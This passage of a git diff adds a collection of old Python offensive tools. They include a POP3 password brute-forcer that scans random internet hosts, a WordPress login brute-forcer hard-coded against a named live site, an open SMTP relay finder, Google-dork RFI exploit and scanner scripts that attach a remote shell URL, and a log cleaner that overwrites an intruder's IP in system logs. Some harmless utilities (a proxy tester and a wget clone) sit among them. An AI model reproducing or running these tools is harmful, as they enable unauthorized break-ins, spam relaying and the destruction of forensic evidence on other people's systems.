+			work.start()
+			time.sleep(1)
diff --git a/3rdparty/popbrute_random.py b/3rdparty/popbrute_random.py
new file mode 100644
index 0000000..75288a3
--- /dev/null
+++ b/3rdparty/popbrute_random.py
@@ -0,0 +1,99 @@
+#!usr/bin/python
+#Uses nmap to check if pop3 port is open, brute forces if it is.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, poplib, re, socket
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./popbrute.py <how many to scan> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com popBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1],"hosts"
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def scan():
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 110 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:    		
+			return ipaddr
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist\n"
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			pop = poplib.POP3(ipaddr[0])
+			pop.user(user[:-1])
+			pop.pass_(value)
+			print "\t\nLogin successful:",value, user
+			print pop.stat()
+			pop.quit()
+			work.join()
+			sys.exit(2)
+		except(poplib.error_proto, socket.gaierror, socket.error, socket.herror), msg: 
+			#print "An error occurred:", msg
+			pass
+
+for x in range(int(sys.argv[1])):
+	print "Scanning:",x,"of",sys.argv[1]
+	ipaddr = scan()
+	if ipaddr != None:
+		try:
+			pop = poplib.POP3(ipaddr[0])
+			welcome = pop.getwelcome()
+			pop.quit()
+		except (poplib.error_proto, socket.gaierror, socket.error, socket.herror): 
+			welcome = "No Response"
+			pass
+		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
+		print "Server Response:",welcome,"\n"
+		for user in users:
+			for i in range(len(words)):
+				if i == 0: reloader()
+				work = Workhorse()
+				work.start()
+				time.sleep(2)
+
diff --git a/3rdparty/proxytest.py b/3rdparty/proxytest.py
new file mode 100644
index 0000000..dd51c1a
--- /dev/null
+++ b/3rdparty/proxytest.py
@@ -0,0 +1,62 @@
+#!/usr/bin/python
+#Proxy tester
+
+#d3hydr8[at]gmail[dot]com
+#http://www.darkc0de.com
+
+"""File Format: 
+	
+82.137.247.62:80
+200.150.233.34:8080
+220.247.214.178:8080
+
+"""
+
+import sys, urllib, socket
+socket.setdefaulttimeout(5) #Set your socket timeout here.
+
+def main(proxy):
+	
+	try:# make a http HEAD request
+		proxies = {'http': "http://"+proxy[:-1]}
+		opener = urllib.FancyURLopener(proxies)
+		opener.open("http://www.python.org")
+		print "\t[+] Alive"
+	except(IOError), msg: 
+		if verbose == 1:
+			print "\t[-] Error:",msg
+		pass
+
+if len(sys.argv) not in [2,3]:
+	print "\nUsage: ./proxytest.py <file> <option>"
+	print "\t[options]"
+	print "\t   -v/-verbose : Verbose Mode"
+	sys.exit(1)
+	
+for arg in sys.argv[1:]:
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	
+try:
+	lines = open(sys.argv[1], "r").readlines()
+
+	print "\n\td3hydr8[at]gmail[dot]com Proxy Tester v1.1"
+	print "\t-------------------------------------------"
+	print "\n[+] Proxies loaded:",len(lines)
+	try:
+		if verbose == 1:
+			print "[+] Verbose Mode On\n"
+	except(NameError):
+		print "[-] Verbose Mode Off\n"
+		verbose = 0
+		pass
+except(IOError): 
+ 	print "Error: Check your file path.\n" 
+	sys.exit(1)
+	
+for proxy in lines:
+	print "[+] Testing:",proxy[:-1]
+	main(proxy)
+print "\n[-] Done\n"
+
+	
\ No newline at end of file
diff --git a/3rdparty/pylogcleaner.py b/3rdparty/pylogcleaner.py
new file mode 100644
index 0000000..64cf679
--- /dev/null
+++ b/3rdparty/pylogcleaner.py
@@ -0,0 +1,209 @@
+#!/usr/bin/python
+#PyLogcleaner uses the list given (logfiles) containing
+# 274 logfiles and uses the linux find 
+#cmd to try and locate more logfiles to search
+#for an ip address to replace with a random generated
+#one. It can also encrypt/d3crypt a 
+#logfile and also can watch a logfile for modifications.
+#Email me with feedback, hints, criticism
+#
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com
+
+import os, sys, time, pwd, getopt, re, random, StringIO, commands
+
+def title():
+	print "\n   d3hydr8[at]gmail[dot]com PyLogCleaner v1.0"
+	print "-----------------------------------------------"
+
+def usage():
+	title()
+	print "\n  Usage: python logcleaner.py <option>\n"
+	print "\t[options]"
+	print "\t   -i <ip>: Ip to search for and replace"
+	print "\t   -e <file>: Encrypts logfile"
+	print "\t   -d <file>: Decrypts logfile"
+	print "\t   -w/-watch <file> <time to check> : Watches logfile for modification"
+	print "\t   -h/-help: Prints this menu\n"
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def validater(logs):
+	
+	activeLogs = []
+
+	print "[+] Validating:",len(logs),"logfiles\n"
+	for l in logs:
+		if os.path.isfile(l) == True:
+			activeLogs.append(l)
+	if len(activeLogs)>0:
+		print "[+] Active Logs Found:",len(activeLogs)
+		return activeLogs
+	else:
+		print "[-] No Active Logs Found"
+		sys.exit(1)
+		
+def search(logfiles):
+	
+	print "\n[+] Searching:",ip,"\n"
+	import mmap
+	
+	for file in logfiles:
+		try:
+			f = open(file, "rb+")
+			size = os.path.getsize(file)
+			if size >= 1:
+				data = mmap.mmap(f.fileno(), size)
+				loc = data.find(ip)
+				#Lets not search a file with no data.
+				if loc == -1:
+					#print "[+] File:",file,"|",size,"bytes"
+					#print "\t[-] IP not found"
+					data.close()
+				else:
+					print "-"*45
+					print "[+] File:",file,"|",size,"bytes"
+					print "\t[+] IP found"
+					data.seek(loc)
+					data.write(randip)
+					print "[+] Replaced: ",ip,">>",randip
+					print "[+] New_Size:",os.path.getsize(file),"bytes"
+					print "-"*45
+					data.close()
+		except(IOError), msg:
+			pass
+	print "\n[+] Done:",timer(),"\n"
+					
+def findlogs():
+	os.chdir("/")
+	
+	print "[+] Finding More Logfiles..."
+	#Lets use the linux find cmd to fing more files containing log...
+	logz = StringIO.StringIO(commands.getstatusoutput('find . -iname *log -perm -444 -print')[1]).readlines()
+	if len(logz)>0:
+		print "[+] Found:",len(logz),"extra logfiles"
+		for log in logz:
+			if re.search("Permission denied",log) == None:
+				logs.append(log[:-1]) 
+	return logs
+	
+def randip():
+	
+	A = random.randrange(255) + 1
+	B = random.randrange(255) + 1
+	C = random.randrange(255) + 1
+	D = random.randrange(255) + 1
+	randip = "%d.%d.%d.%d" % (A,B,C,D)
+	return randip
+
+def gettime():
+	clock = time.asctime(time.localtime(os.path.getmtime(logfile)))
+	return clock
+
+def getsize():
+	size = os.path.getsize(logfile)
+	return size
+
+def modlast(logfile):
+	try: 
+		sys.argv[3]
+	except(IndexError):
+		print "\n[-] Need a time in seconds (ex: 60)\n"
+		sys.exit(1)
+		
+	print "[+] Analyzing:",logfile
+	print "[+] Time:",sys.argv[3],"secs"
+	print "[+] Owner:",pwd.getpwuid(os.stat(logfile)[4])[0]
+	print "[+] Size:",getsize(),"bytes"
+	print "[+] Last Modified:",gettime()
+	print "[+] Starting:",timer()
+
+	old_time = gettime()
+	while True:
+		time.sleep(int(sys.argv[3]))
+		new_time = gettime()
+		if new_time != old_time:
+			print "\n[+] File Modified:",new_time
+			print "[+] New Size:",getsize(),"bytes\n"
+			old_time = new_time
+	
+def encrypter(file):
+	import base64
+	print "\n[+] Encrypting:",file
+	print "[+] Size:",os.path.getsize(file),"bytes"
+	try:
+  		log2encode = open(file, "r").read()
+	except(IOError): 
+  		print "Error: Check your full path.\n"
+  		sys.exit(1)
+	log2encode = base64.b64encode(log2encode)
+	os.remove(file)
+	time.sleep(2)
+	f = open(file, "a")
+	f.write(log2encode)
+	f.close()
+	print "[+] NewSize:",os.path.getsize(file),"bytes"
+	print "[+] Done\n"
+
+def d3crypter(file):
+	import base64
+	print "\n[+] Decrypting:",file
+	print "[+] Size:",os.path.getsize(file),"bytes"
+	try:
+  		b2log = open(file, "r").read()
+	except(IOError): 
+  		print "Error: Check your full path.\n"
+  		sys.exit(1)
+	b2log = base64.b64decode(b2log)
+	os.remove(file)
+	time.sleep(2)
+	f = open(file, "a")
+	f.write(b2log)
+	f.close()
+	print "[+] NewSize:",os.path.getsize(file),"bytes"
+	print "[+] Done\n"
+
+if len(sys.argv) <= 1:
+	usage()
+	sys.exit(1)
+if len(sys.argv) == 2:
+	usage()
+	sys.exit(1)
+
+if sys.argv[1] == "-w" or sys.argv[1] == "-watch":
+	logfile = sys.argv[2]
+	if os.path.isfile(logfile) == False:
+		title()
+		print "\n[-] Cannot Open File, Check Full Path!!!\n"
+		sys.exit(1)
+	else:
+		title()
+		modlast(logfile)
+if sys.argv[1] == "-i":
+	ip = sys.argv[2]		
+	try:
+  		logs = open("logfiles", "r").readlines()
+	except(IOError): 
+  		print "Error: logfiles missing\n"
+  		sys.exit(1)
+	title()
+	print "\n[+] Starting:",timer()
+	print "[+] Loaded:",len(logs),"logs"
+	findlogs()
+	randip = randip()
+	print "[+] Generate Random IP:",randip
+	search(validater(logs))
+if sys.argv[1] == "-e":
+	file = sys.argv[2]
+	title()
+	encrypter(file)
+if sys.argv[1] == "-d":
+	file = sys.argv[2]
+	title()
+	d3crypter(file)
+
+
+
+
diff --git a/3rdparty/pywget.py b/3rdparty/pywget.py
new file mode 100644
index 0000000..71b69ed
--- /dev/null
+++ b/3rdparty/pywget.py
@@ -0,0 +1,101 @@
+#!/usr/bin/python
+#PyWget is wget writting in python with http proxy support.
+
+#Supports: http, https, ftp
+
+##http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, urllib2, shutil, os, socket, time
+
+def timer():
+	return time.strftime("%H:%M:%S", time.localtime())
+
+if len(sys.argv) not in [2,4,6]:
+	print "\n\tUsage: ./pywget.py <url> <options>\n"
+	print "\t[options]"
+	print "\t   -d/-dir <directory> : save files to PREFIX/..."
+	print "\t   -p/-proxy <host:port> : Add proxy support"
+	print "\nEx. ./pywget.py www.darkc0de.com/index.html -proxy 120.71.68.2:8888 -dir /home/d3hydr8/\n"
+	sys.exit(1)
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-d" or arg.lower() == "-dir":
+		Dir = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-p" or arg.lower() == "-proxy":
+		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
+			
+url = sys.argv[1]
+proto = url.split(":",1)[0]
+try:
+	port = socket.getservbyname(url.split(":",1)[0])
+except(socket.error):
+	port = 80
+	proto = "http"
+url = url.replace("http://","").replace("https://","").replace("ftp://","")
+print "\n--"+timer()+"--",  url
+try:
+	print "\t=> `",url.rsplit("/",1)[1],"'"
+except(IndexError):
+	print "[!] Malformed URL\n"
+	sys.exit(1)
+hostname = url.split("/",1)[0]
+try:
+	ipaddr = socket.gethostbyname(hostname)
+except(socket.gaierror),msg:
+	print "\n"+timer(),"ERROR",msg,"\n"
+	sys.exit()
+print "Resolving",hostname+"...",ipaddr
+try:
+	if Dir:
+		print "Saving to",Dir
+except(NameError):
+	Dir = os.getcwd()
+if Dir[-1] != "/":
+	Dir = Dir+"/"
+try:
+	if proxy:
+		print "Testing Proxy..."
+		h2 = httplib.HTTPConnection(proxy)
+		h2.connect()
+		print "Proxy:",proxy
+except(socket.timeout):
+	print "\n[-] Proxy Timed Out\n"
+	sys.exit(1)
+except(NameError):
+	proxy = 0
+	pass
+except:
+	print "\n[-] Proxy Failed\n"
+	sys.exit(1)
+print "Connecting to",hostname,"|",ipaddr,"|:"+str(port)+"... connected."
+if proxy != 0:
+	proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
+	opener = urllib2.build_opener(proto+"://"+url, proxy_handler)
+	try:
+		source = opener.open(proto+"://"+url)
+	except(urllib2.HTTPError),msg:
+		print "\n"+timer(),"ERROR",msg,"\n"
+		sys.exit()
+else:
+	try:
+		source = urllib2.urlopen(proto+"://"+url)
+	except(urllib2.HTTPError),msg:
+		print "\n"+timer(),"ERROR",msg,"\n"
+		sys.exit()
+pre_size = str(len(str(source)))
+print proto.upper(),"request sent, awaiting response..."
+print "Length:",pre_size #FD size (not bytes)
+num = 1
+file = url.rsplit("/",1)[1]
+while os.path.isfile(Dir+file) == True:
+	file = url.rsplit("/",1)[1]+"."+str(num)
+	num+=1
+try:
+	shutil.copyfileobj(source, open(Dir+file, "w+"))
+except(IOError):
+	print Dir+file+": Permission denied"
+	print "\nCannot write to `"+Dir+file+"' (Permission denied)."
+	sys.exit(1)
+size = str(os.path.getsize(Dir+file))
+print "\n"+timer(),"- `",file,"' saved","["+pre_size+"/"+size+"]\n"
\ No newline at end of file
diff --git a/3rdparty/pywget_simp.py b/3rdparty/pywget_simp.py
new file mode 100644
index 0000000..04f7c7e
--- /dev/null
+++ b/3rdparty/pywget_simp.py
@@ -0,0 +1,31 @@
+#!/usr/bin/python
+#PyWget(simple) is pywget shrunk down.
+
+##http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, urllib2, shutil, os
+
+if len(sys.argv) != 2:
+	print "\n\tUsage: ./pywget.py <url>\n"
+	print "\nEx. ./pywget.py http://www.darkc0de.com/index.html\n"
+	sys.exit(1)
+url = sys.argv[1]
+if url[:7] != "http://":
+	url = "http://"+url
+try:
+	source = urllib2.urlopen(url)
+except(urllib2.HTTPError),msg:
+	print "\nError:",msg
+	sys.exit()
+num = 1
+file = url.rsplit("/",1)[1]
+while os.path.isfile(file) == True:
+	file = url.rsplit("/",1)[1]+"."+str(num)
+	num+=1
+try:
+	shutil.copyfileobj(source, open(file, "w+"))
+except(IOError):
+	print "\nCannot write to `"+file+"' (Permission denied)."
+	sys.exit(1)
+print "\nFile Created:",file,"\n"
\ No newline at end of file
diff --git a/3rdparty/qeqe.py b/3rdparty/qeqe.py
new file mode 100644
index 0000000..f1b927f
--- /dev/null
+++ b/3rdparty/qeqe.py
@@ -0,0 +1,40 @@
+import urllib
+import urllib2
+import re
+import cookielib
+import sys
+import Queue
+import threading
+import time
+                                        #http://exploitpy.wordpress.com
+                                        #http://fb.com/coder.py
+class calistir(threading.Thread):
+        def __init__(self,user,pwd,):
+                threading.Thread.__init__(self)
+                self.user = user
+                self.pwd = pwd
+        def run(self):
+                 
+                yonlendir = urllib2.build_opener(urllib2.HTTPSHandler(),urllib2.HTTPHandler()) 
+                print ("Brute Force Ba�l�yor : "+unix)
+                sex = {'log':"admin",
+                'pwd':self.pwd,'redirect_to':'',
+                'testcookie':'1',
+                'wp-submit':'Log In'
+                }
+                x = time.time()
+                sifrele= urllib.urlencode(sex)
+                root = yonlendir.open(unix, sifrele).read()
+                if "error" in root:
+                        print "Deneme Basar�s�z :"+self.pwd+"\n".replace("\n","")
+                         
+                else:
+                        print ("[*]Deneme Basar�l� :"+url+" Sifre:"+self.pwd+"\n")
+                        print time.time()- x ,"Finish"
+unix = "http://www.tekseninle.com/wp-login.php"
+sifre=["1234","1213123","umut","cem","root","toor","roottoor","startx","passwd","password"]
+for pwd in sifre:
+        q = Queue.Queue()
+        thread = calistir(q,pwd)
+        thread.deamon = True
+        thread.start()
diff --git a/3rdparty/randip.py b/3rdparty/randip.py
new file mode 100644
index 0000000..b031451
--- /dev/null
+++ b/3rdparty/randip.py
@@ -0,0 +1,23 @@
+#!/usr/bin/python
+#d3hydr8[at]gmail[dot]com
+#prints random ips
+import random, sys
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./randip.py <how many you want?>\n"
+	sys.exit(1)
+		 
+num = int(sys.argv[1])
+count = 0
+
+while count != num:
+	count += 1
+
+	L = random.randrange(255) + 1
+	I = random.randrange(255) + 1
+	N = random.randrange(255) + 1
+	X = random.randrange(255) + 1
+	ip = "%d.%d.%d.%d" % (L,I,N,X)
+	print ip
+
+		
\ No newline at end of file
diff --git a/3rdparty/randwebservscan.py b/3rdparty/randwebservscan.py
new file mode 100644
index 0000000..eb04f4f
--- /dev/null
+++ b/3rdparty/randwebservscan.py
@@ -0,0 +1,42 @@
+#!/usr/bin/python
+#Uses nmap to search for open webserver port
+#in a random ip.
+#Then trys to report what servers running if open.
+#d3hydr8[at]gmail[dot]com
+
+import commands, sys, getopt, StringIO, re, httplib
+
+tmp, args = getopt.getopt(sys.argv[1:],"")
+	
+def scan():
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 80 | grep -B 5 open')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+			ip = ipaddr[0]
+	    		return ip
+
+def servtest(ip):
+	
+	try:
+		h = httplib.HTTP(ip)
+		h.putrequest("HEAD", "/")
+		h.putheader("Host", ip)
+		h.endheaders()
+		status, reason, headers = h.getreply()
+		server = headers.get("Server")
+		if server:
+			print ip,":",server,"\n"
+	except: pass
+#................................................
+	
+if args == []:
+	print "Usage: ./randwebservscan.py <num ips to scan>"
+else:
+	print "\n   d3hydr8[at]gmail[dot]com Random WebServScan v1.0"
+	print "   ------------------------------------------------"
+	print "+ Scanning:",args[0],"servers\n"
+	for i in xrange(int(args[0])):
+		servtest(scan())
diff --git a/3rdparty/relayfind.py b/3rdparty/relayfind.py
new file mode 100644
index 0000000..2c95bdd
--- /dev/null
+++ b/3rdparty/relayfind.py
@@ -0,0 +1,142 @@
+#!usr/bin/python 
+#Smtp Open Relay Finder 
+#http://www.darkc0de.com 
+#d3hydr8[at]gmail[dot]com 
+ 
+import threading, time, random, sys, smtplib, socket 
+from smtplib import SMTP 
+ 
+#Setup from address 
+fromaddr = "abc@abc.com" 
+#Setup receiving address 
+toaddr = "abc@abc.com" 
+#Setup message to be sent. 
+message = """To: %s 
+From: %s 
+Subject: Test Message 
+ 
+Put messsage here!!! 
+ 
+""" % (toaddr,fromaddr) 
+ 
+#Choose maximum amount of threads. 
+MAX_THREADS = 3 
+#Set socket timeout default 
+socket.setdefaulttimeout(10) 
+ 
+def randip(): 
+	A = random.randrange(255) + 1 
+	B = random.randrange(255) + 1 
+	C = random.randrange(255) + 1 
+	D = random.randrange(255) + 1 
+	return "%d.%d.%d.%d" % (A,B,C,D) 
+ 
+def getips(ip_range): 
+ 
+	lst = [] 
+	iplist = [] 
+	ip_range = ip_range.rsplit(".",2) 
+	if len(ip_range[1].split("-",1)) ==2: 
+		for i in range(int(ip_range[1].split("-",1)[0]),int(ip_range[1].split("-",1)[1])+1,1): 
+			lst.append(ip_range[0]+"."+str(i)+".") 
+		for ip in lst: 
+			for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1): 
+				iplist.append(ip+str(i)) 
+		return iplist 
+	if len(ip_range[1].split("-",1)) ==1: 
+		for i in range(int(ip_range[2].split("-",1)[0]),int(ip_range[2].split("-",1)[1])+1,1): 
+			iplist.append(ip_range[0]+"."+str(ip_range[1].split("-",1)[0])+"."+str(i)) 
+		return iplist 
+ 
+def check(lock ,ip): 
+	try: 
+		if random != 0: 
+			lock.acquire() 
+		s = smtplib.SMTP(ip) 
+		code = s.ehlo()[0] 
+		if not (200 <= code <= 299): 
+			code = s.helo()[0] 
+			if not (200 <= code <= 299): 
+				raise SMTPHeloError(code, resp) 
+		s.sendmail(fromaddr, toaddr, message) 
+		print "\n[!] Message Sent Successfully" 
+		print "[+] SMTP Server:",ip,"\n" 
+		smtp.quit() 
+	except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
+		#print "An error occurred:", msg 
+		pass 
+	if random != 0: 
+		lock.release() 
+ 
+print "\n\tsmtpReleyFinder v1.0" 
+print "\t--------------------\n" 
+if len(sys.argv) not in [3,4]: 
+	print "\n\tUsage: ./relayfind.py <options>\n" 
+	print "\t[options]" 
+	print "\t   -i/-iprange <ip_range> : IP Range to scan (nmap format)." 
+	print "\t   -r/-random <how many> : How many ips to scan" 
+	print "\t   -v/-verbose : Verbose Mode" 
+	print "\nEx. ./relayfind.py -iprange 192.168.1.1-255 -v\n" 
+	sys.exit(1) 
+ 
+for arg in sys.argv[1:]: 
+	if arg.lower() == "-i" or arg.lower() == "-iprange": 
+		iprange = sys.argv[int(sys.argv[1:].index(arg))+2] 
+	if arg.lower() == "-r" or arg.lower() == "-random": 
+		num = sys.argv[int(sys.argv[1:].index(arg))+2] 
+	if arg.lower() == "-v" or arg.lower() == "-verbose": 
+		verbose = 1 
+ 
+try: 
+	if iprange: 
+		iplist = getips(iprange) 
+		print "[+] Range Loaded:",len(iplist) 
+except(NameError): 
+	iprange = 0 
+	pass 
+except(IndexError): 
+	print "[-] Misconfigured IpRange\n" 
+	sys.exit(1) 
+ 
+try: 
+	if num: 
+		print "[+] Random Scan:",num 
+		num = int(num) 
+except(NameError): 
+	num = 0 
+	pass 
+ 
+print "From Address:",fromaddr 
+print "Reveiving Address:",toaddr 
+print "Message:",message 
+ 
+try: 
+	if verbose == 1: 
+		print "[+] Verbose Mode On\n" 
+except(NameError): 
+	print "[-] Verbose Mode Off\n" 
+	verbose = 0 
+	pass 
+ 
+if iprange != 0: 
+	for ip in iplist: 
+		if verbose == 1: 
+			print "Testing:",ip 
+		lock = threading.Lock() 
+		check(lock, ip) 
+	sys.exit(1) 
+ 
+if random != 0: 
+	while num >= 0: 
+		print num 
+		for x in xrange(MAX_THREADS): 
+			ip = randip() 
+			if verbose == 1: 
+				print "Testing:",ip 
+			lock = threading.Lock() 
+			work = threading.Thread(target = check, args=(lock,ip)).start() 
+			time.sleep(1) 
+			num -=1 
+	time.sleep(5) 
+	sys.exit(1) 
+
diff --git a/3rdparty/revers_ip.py b/3rdparty/revers_ip.py
new file mode 100644
index 0000000..d191cd6
--- /dev/null
+++ b/3rdparty/revers_ip.py
@@ -0,0 +1,51 @@
+#
+# Coded By Ajith Kp
+# (c) Ajith Kp (c)
+#
+# input URL/IP
+# Project Home Page: http://www.TerminalCoders.BlogSpot.iN
+#
+# ajithkp560[at]gmail.com
+# 0x0x0x
+#
+from Tkinter import *
+import Tix as tk
+import urllib2, sys, re
+from socket import gethostbyname
+source='http://www.ip-adress.com/reverse_ip/'
+uagent= {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)'}
+
+class GUI:
+    def __init__(self,v):
+        self.entry = Entry(v, width=65, bg='#002B36', fg='#93A1A1', )
+        self.entry.pack()
+        self.button=Button(v, text=">>>",command=self.pressButton, bg="black", fg="green")
+        self.button.pack()
+        self.t = StringVar()
+        self.t.set(":.: Reverse IP Lookup Tool :.:")
+        self.label=Label(v, textvariable=self.t, font='Helvetica -14 bold')
+        self.label.pack()
+        self.n = 0
+    def pressButton(self):
+        site = self.entry.get()
+        try:
+            ip=gethostbyname(site)
+            self.label=Label(w, text="\n\nScanning %s:[%s]\n\n"%(site, ip), font='Helvetica -12 bold', fg="#002B36")
+            self.label.pack()
+            request=urllib2.Request('%s%s'%(source, site), headers=uagent)
+            page=urllib2.urlopen(request).read()
+            findout=re.findall("href=\"/whois/\S+\">Whois</a>]", page)
+            listbox = Listbox(w, fg="GREEN", bg="BLACK", width=10, height=20)
+            listbox.pack()
+            for revz in findout:
+                revipz=revz.replace('href=\"/whois/', '').replace('\">Whois</a>]', '')
+                listbox.insert(END, revipz)
+            listbox.pack(fill=BOTH)
+        except BaseException, e:
+            self.label=Label(w, text="Error: %s"%(e), font='Helvetica -13 bold', fg="red", bg="black")
+            self.label.pack()
+w=Tk()
+w.title("Reverse IP Lookup By Ajith Kp")
+w.minsize(300,400)
+gui=GUI(w)
+w.mainloop()
diff --git a/3rdparty/rfiex.py b/3rdparty/rfiex.py
new file mode 100644
index 0000000..7d9cc82
--- /dev/null
+++ b/3rdparty/rfiex.py
@@ -0,0 +1,123 @@
+#!/usr/bin/env python
+#The tool has 3 options [test, write or list]
+#In test mode it will take a query, use google to retrieve 
+#hosts. Then it goes down the directories adding
+#the include and testing HTTP response of each host.
+#Obviously you can get a 200, 302 response without it 
+#being your shell (redirection) so manually test before getting to 
+#excited.
+#
+#In write mode it will simply write host + include to 
+#a file that you chose for later testing.
+#
+#In list mode it will even simpler print host + include
+#for manual testing.  
+#Uncommment line 77 for more verbose output in test mode.
+#
+#d3hydr8[at]gmail[dot]com
+
+import urllib2, sys, re, httplib, time
+
+def StripTags(text):
+     finished = 0
+     while not finished:
+         finished = 1
+         start = text.find("<")
+         if start >= 0:
+             stop = text[start:].find(">")
+             if stop >= 0:
+                 text = text[:start] + text[start+stop+1:]
+                 finished = 0
+     return text
+		   
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def mess():
+	print "\n\t   d3hydr8[at]gmail[dot]com rfiExploiter v1.0"
+	print "\t-------------------------------------------------"
+
+def gethosts(query):
+	
+	counter =  10
+	hits = []
+	
+	while counter < int(sys.argv[2]):
+		url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
+		opener = urllib2.build_opener(url)
+		opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
+		data = opener.open(url).read()
+		hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data))
+		#Lets add sites found to a list if not already or a google site.
+		#We don't want to upset the people that got our list for us.
+		for x in hosts:
+			if x not in hits and re.search("google", x) == None:
+				hits.append(x)
+		counter += 10
+	print "\n[+] Loaded: ",len(hits),"hosts\n"
+	return hits
+							
+def main(hits):
+	if sys.argv[4].lower() == "-t" or sys.argv[4].lower() == "-test":
+		for hit in hits:
+			print "[-] Testing: ",hit.split('/',1)[0]
+			start = int(hit.count("/"))
+			if start == 0:
+				start = 1
+			#Lets test host chopping every dir and adding include
+			for x in xrange(start):
+				try: 
+					hit = hit.rsplit("/",1)[0]
+					h = httplib.HTTP(hit.split('/',1)[0])
+					h.putrequest("HEAD", hit+"/"+include)
+					h.putheader("Host", hit+"/"+include)
+					h.endheaders()
+					status, reason, headers = h.getreply()
+					#print "\t[+] Response:",status, reason
+					if status == 200 or status == 302:
+						print "\n[+] Target: ",hit+"/"+include
+						print "\t[+] Running:",headers.get("Server")
+						print "\t[+] Response:",status, reason,"\n"
+				except: pass
+		print "\n[-] Testing Complete: ",timer(),"\n"
+	if sys.argv[4].lower() == "-l" or sys.argv[4].lower() == "-list":
+		for hit in hits:
+			print "\nTarget:",hit+"/"+include
+		print "\n[-] List Complete: ",timer(),"\n"
+	if sys.argv[4].lower() == "-w" or sys.argv[4].lower() == "-write":
+		f = open(file, "a")
+		print "[+] Writing Data:", file
+		for hit in hits:
+			f.writelines(hit+"/"+include+"\n")
+		f.close()
+		print "\n[-] Write Complete: ",timer(),"\n"
+
+#................................................
+
+if len(sys.argv) != 5:
+	mess()
+	print "\n[-] Usage: ./rfiex.py <query> <num of hosts> <location + shell location> <option>"
+	print "\n\t[-] Options:"
+	print "\t   -t/-test: test the http responses"
+	print "\t   -w/-write: writes hosts + shell location to a file for later testing"
+	print "\t   -l/-list: prints hosts + shell location for manual testing"
+	print "\n[-] ex: ./rfiex.py inurl:/phpbb/ 200 /admin/function.php?root=http://localhost/shell.txt -test\n"
+	sys.exit(1)
+else:
+	query = re.sub("\s","+",sys.argv[1])
+	include = sys.argv[3]
+	mess()
+	time.sleep(2)
+	print "\n[+] Starting:",timer()
+	print "[+] Query:", query
+	print "[+] Include:", include
+	if sys.argv[4].lower() == "-w" or sys.argv[4].lower() == "-write":
+		file=raw_input('\nFile to save output: ')
+		print "\n[+] Output:",file
+	print "\n[+] Querying google for hosts..."
+	print "[ time depends on your number:",int(sys.argv[2]),"]"
+	if include[0] == "/":
+		include = include.replace("/","",1)
+	main(gethosts(query))
+	#aHR0cDovL2Rhcmtjb2RlLmF0aC5jeA==
\ No newline at end of file
diff --git a/3rdparty/rfiscan.py b/3rdparty/rfiscan.py
new file mode 100644
index 0000000..b7e72ad
--- /dev/null
+++ b/3rdparty/rfiscan.py
@@ -0,0 +1,277 @@
+#!/usr/bin/python
+#RFI Scanner that can find hosts using a google query or search one site.
+#When the scan is complete 
+#it will print out the rfi's found and or write to file. It also has verbose mode for more
+#output.
+
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com
+
+import sys, urllib2, re, sets, random, httplib, time, socket
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com RFI Scanner v1.0"
+	print "\t-----------------------------------------------"
+	
+def usage():
+	title()
+	print "\n  Usage: python RFIscan.py <option>\n"
+	print "\n  Example: python RFIscan.py -g inurl:'.gov' 200 -s 'http://localhost/shell.txt' -write rfi_found.txt -v\n"
+	print "\t[options]"
+	print "\t   -g/-google <query> <num of hosts> : Searches google for hosts"
+	print "\t   -t/-target <website> <port>: Searches just that site, (default port 80)"
+	print "\t   -s/-shell <shell> : Shell location"	
+	print "\t   -w/-write <file> : Writes potential XSS found to file"
